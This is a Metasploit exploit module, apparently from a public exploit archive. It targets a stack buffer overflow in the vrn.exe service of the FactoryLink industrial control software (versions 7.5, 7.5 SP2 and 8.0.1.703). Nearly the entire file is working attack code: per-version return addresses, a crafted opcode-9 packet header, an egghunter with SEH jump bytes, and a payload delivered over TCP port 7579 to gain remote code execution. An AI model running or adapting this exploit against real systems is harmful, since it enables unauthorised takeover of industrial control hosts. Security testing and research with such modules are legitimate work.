FactoryLink – ‘vrn.exe’ Opcode 9 Buffer Overflow (Metasploit)
## # $Id: factorylink_vrn_09.rb 12998 2011-06-21 21:08:57Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to execute arbitrary code due to the improper use of a vsprintf() function while processing the user-supplied text field. Originally found and posted by Luigi Auriemma. }, 'Author' => [ 'Luigi Auriemma', # Public exploit 'hal' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12998 $', 'References' => [ ['OSVDB', '72815'], ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 885, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ], [ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ], [ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2011')) register_options([Opt::RPORT(7579)], self.class) end def exploit connect #The use of egghunter seems appropriate due to the small buffer in [ESP+8] hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :startreg => 'ebp'}) egg = hunter[1] header = "\x3f\x3f\x3f\x3f" header << "\xff\x55" header << "\x09\x00" header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f" header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f" header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f" header << "\x3f\x3f" header << "\xff\xff\xff\xff" header << "\x3f\x3f" request = header request << rand_text_alpha_upper(100) request << egg request << rand_text_alpha(target['padding']) request << "\xeb\x06\x90\x90" request << [target.ret].pack('V') request << make_nops(24) request << hunter[0] request << rand_text_alpha_upper(100000) print_status("Trying target #{target.name} with #{request.size} bytes") sock.put(request) handler disconnect end end |